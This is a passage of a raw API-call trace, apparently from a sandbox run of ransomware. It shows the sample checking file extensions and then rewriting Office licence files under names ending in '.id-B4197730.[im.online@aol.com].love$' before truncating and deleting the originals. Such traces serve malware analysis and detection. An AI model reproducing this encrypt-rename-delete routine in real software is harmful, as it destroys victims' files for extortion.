returned 4 [0261.418] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString=".rar") returned 4 [0261.418] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString=".bz2") returned 4 [0261.418] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString=".7z") returned 3 [0261.418] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.418] lstrlenW (lpString=".dbf") returned 4 [0261.418] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.418] lstrlenW (lpString=".1cd") returned 4 [0261.418] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.418] lstrlenW (lpString=".jpg") returned 4 [0261.418] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.418] lstrlenW (lpString=".doc") returned 4 [0261.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString=".docx") returned 5 [0261.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.418] lstrlenW (lpString=".pdf") returned 4 [0261.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.418] lstrlenW (lpString=".xls") returned 4 [0261.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.419] lstrlenW (lpString=".xlsx") returned 5 [0261.419] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.419] lstrlenW (lpString=".ppt") returned 4 [0261.419] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.419] lstrlenW (lpString=".zip") returned 4 [0261.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.419] lstrlenW (lpString=".rar") returned 4 [0261.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.419] lstrlenW (lpString=".bz2") returned 4 [0261.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.419] lstrlenW (lpString=".7z") returned 3 [0261.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.419] lstrlenW (lpString=".dbf") returned 4 [0261.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.419] lstrlenW (lpString=".1cd") returned 4 [0261.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ppd.xrm-ms") returned 72 [0261.420] lstrlenW (lpString=".jpg") returned 4 [0261.420] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.420] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0261.420] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37 [0261.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0261.421] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=21977) returned 1 [0261.421] CloseHandle (hObject=0x4c8) returned 1 [0261.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0261.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0261.422] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0261.422] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0261.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0261.423] GetLastError () returned 0x0 [0261.424] ReadFile (in: hFile=0x4c8, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x55d9, lpOverlapped=0x0) returned 1 [0261.426] WriteFile (in: hFile=0x564, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x55e0, lpOverlapped=0x0) returned 1 [0261.428] ReadFile (in: hFile=0x4c8, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0261.428] WriteFile (in: hFile=0x564, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11e, lpOverlapped=0x0) returned 1 [0261.428] SetEndOfFile (hFile=0x564) returned 1 [0261.429] CloseHandle (hObject=0x564) returned 1 [0261.429] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0261.429] SetEndOfFile (hFile=0x4c8) returned 1 [0261.432] CloseHandle (hObject=0x4c8) returned 1 [0261.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.434] lstrlenW (lpString=".doc") returned 4 [0261.434] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.434] lstrlenW (lpString=".docx") returned 5 [0261.434] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.434] lstrlenW (lpString=".pdf") returned 4 [0261.434] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.434] lstrlenW (lpString=".xls") returned 4 [0261.434] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.434] lstrlenW (lpString=".xlsx") returned 5 [0261.434] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.434] lstrlenW (lpString=".ppt") returned 4 [0261.434] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.434] lstrlenW (lpString=".zip") returned 4 [0261.434] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString=".rar") returned 4 [0261.435] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString=".bz2") returned 4 [0261.435] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString=".7z") returned 3 [0261.435] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.435] lstrlenW (lpString=".dbf") returned 4 [0261.435] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.435] lstrlenW (lpString=".1cd") returned 4 [0261.435] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.435] lstrlenW (lpString=".jpg") returned 4 [0261.435] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.435] lstrlenW (lpString=".doc") returned 4 [0261.435] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString=".docx") returned 5 [0261.435] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.435] lstrlenW (lpString=".pdf") returned 4 [0261.435] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString=".xls") returned 4 [0261.435] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.435] lstrlenW (lpString=".xlsx") returned 5 [0261.435] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.435] lstrlenW (lpString=".ppt") returned 4 [0261.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.436] lstrlenW (lpString=".zip") returned 4 [0261.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.436] lstrlenW (lpString=".rar") returned 4 [0261.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.436] lstrlenW (lpString=".bz2") returned 4 [0261.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.436] lstrlenW (lpString=".7z") returned 3 [0261.436] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.436] lstrlenW (lpString=".dbf") returned 4 [0261.436] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.436] lstrlenW (lpString=".1cd") returned 4 [0261.436] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0261.436] lstrlenW (lpString=".jpg") returned 4 [0261.436] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.436] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0261.436] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 40 [0261.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0261.438] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=11637) returned 1 [0261.438] CloseHandle (hObject=0x4c8) returned 1 [0261.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0261.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0261.439] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0261.439] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0261.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0261.442] GetLastError () returned 0x0 [0261.442] ReadFile (in: hFile=0x4c8, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x2d75, lpOverlapped=0x0) returned 1 [0261.445] WriteFile (in: hFile=0x564, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x2d80, lpOverlapped=0x0) returned 1 [0261.446] ReadFile (in: hFile=0x4c8, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0261.446] WriteFile (in: hFile=0x564, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x124, lpOverlapped=0x0) returned 1 [0261.446] SetEndOfFile (hFile=0x564) returned 1 [0261.446] CloseHandle (hObject=0x564) returned 1 [0261.446] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0261.446] SetEndOfFile (hFile=0x4c8) returned 1 [0261.853] CloseHandle (hObject=0x4c8) returned 1 [0262.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0262.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 1 [0262.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.292] lstrlenW (lpString=".doc") returned 4 [0262.292] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.292] lstrlenW (lpString=".docx") returned 5 [0262.292] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.292] lstrlenW (lpString=".pdf") returned 4 [0262.292] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.292] lstrlenW (lpString=".xls") returned 4 [0262.292] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.292] lstrlenW (lpString=".xlsx") returned 5 [0262.292] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.292] lstrlenW (lpString=".ppt") returned 4 [0262.292] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.293] lstrlenW (lpString=".zip") returned 4 [0262.293] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.293] lstrlenW (lpString=".rar") returned 4 [0262.293] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.293] lstrlenW (lpString=".bz2") returned 4 [0262.293] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.293] lstrlenW (lpString=".7z") returned 3 [0262.293] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.293] lstrlenW (lpString=".dbf") returned 4 [0262.293] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.293] lstrlenW (lpString=".1cd") returned 4 [0262.293] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.293] lstrlenW (lpString=".jpg") returned 4 [0262.293] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.294] lstrlenW (lpString=".doc") returned 4 [0262.294] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0262.294] lstrlenW (lpString=".docx") returned 5 [0262.294] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0262.294] lstrlenW (lpString=".pdf") returned 4 [0262.294] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0262.294] lstrlenW (lpString=".xls") returned 4 [0262.294] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0262.294] lstrlenW (lpString=".xlsx") returned 5 [0262.294] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0262.294] lstrlenW (lpString=".ppt") returned 4 [0262.294] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0262.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.294] lstrlenW (lpString=".zip") returned 4 [0262.294] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0262.294] lstrlenW (lpString=".rar") returned 4 [0262.294] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0262.295] lstrlenW (lpString=".bz2") returned 4 [0262.295] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0262.295] lstrlenW (lpString=".7z") returned 3 [0262.295] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0262.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.295] lstrlenW (lpString=".dbf") returned 4 [0262.295] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0262.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.295] lstrlenW (lpString=".1cd") returned 4 [0262.295] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0262.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms") returned 90 [0262.295] lstrlenW (lpString=".jpg") returned 4 [0262.295] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0262.295] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0262.296] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32 [0262.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.834] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=10663) returned 1 [0262.834] CloseHandle (hObject=0x534) returned 1 [0262.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0262.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0262.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0262.835] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.835] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0262.837] GetLastError () returned 0x0 [0262.838] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x29a7, lpOverlapped=0x0) returned 1 [0262.840] WriteFile (in: hFile=0x570, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x29b0, lpOverlapped=0x0) returned 1 [0262.842] ReadFile (in: hFile=0x534, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0262.842] WriteFile (in: hFile=0x570, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x114, lpOverlapped=0x0) returned 1 [0262.842] SetEndOfFile (hFile=0x570) returned 1 [0262.890] CloseHandle (hObject=0x570) returned 1 [0262.890] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0262.890] SetEndOfFile (hFile=0x534) returned 1 [0262.901] CloseHandle (hObject=0x534) returned 1 [0262.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0263.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0263.220] lstrlenW (lpString="C:\\Program Files\\Microsoft 